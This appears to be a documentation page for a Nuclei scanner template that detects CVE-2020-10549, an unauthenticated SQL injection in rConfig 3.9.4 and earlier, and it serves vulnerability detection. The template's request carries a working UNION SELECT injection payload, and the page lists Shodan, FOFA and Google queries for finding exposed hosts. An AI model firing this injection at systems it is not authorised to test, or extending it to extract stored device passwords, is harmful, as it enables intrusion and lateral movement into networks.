rConfig <=3.9.4 - SQL Injection
ID: CVE-2020-10549
Severity: critical
Author: madrobot
Tags: cve,cve2020,rconfig,sqli
Description
Section titled “Description”rConfig 3.9.4 and prior has unauthenticated snippets.inc.php SQL injection. Because nodes’ passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
YAML Source
Section titled “YAML Source”id: CVE-2020-10549
info: name: rConfig <=3.9.4 - SQL Injection author: madrobot severity: critical description: rConfig 3.9.4 and prior has unauthenticated snippets.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices. impact: | Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation. remediation: | Upgrade rConfig to version >3.9.4 or apply the provided patch to mitigate the SQL Injection vulnerability. reference: - https://github.com/theguly/exploits/blob/master/CVE-2020-10549.py - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/ - https://nvd.nist.gov/vuln/detail/CVE-2020-10549 - https://github.com/ARPSyndicate/kenzer-templates - https://github.com/Elsfa7-110/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-10549 cwe-id: CWE-89 epss-score: 0.38355 epss-percentile: 0.97221 cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: rconfig product: rconfig shodan-query: http.title:"rconfig" fofa-query: title="rconfig" google-query: intitle:"rconfig" tags: cve,cve2020,rconfig,sqli
http: - method: GET path: - "{{BaseURL}}/snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains"
matchers-condition: and matchers: - type: word part: body words: - "[project-discovery]"
- type: status status: - 200# digest: 4b0a00483046022100b320e6146abac3b04b6b91c75b4b1e7eec169817c41a058ff61d2598374724c2022100d468c890db3976ba2e547760d75fbe6ac6aab1d7ba65b0e74617371621b8d3bc:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-10549.yaml"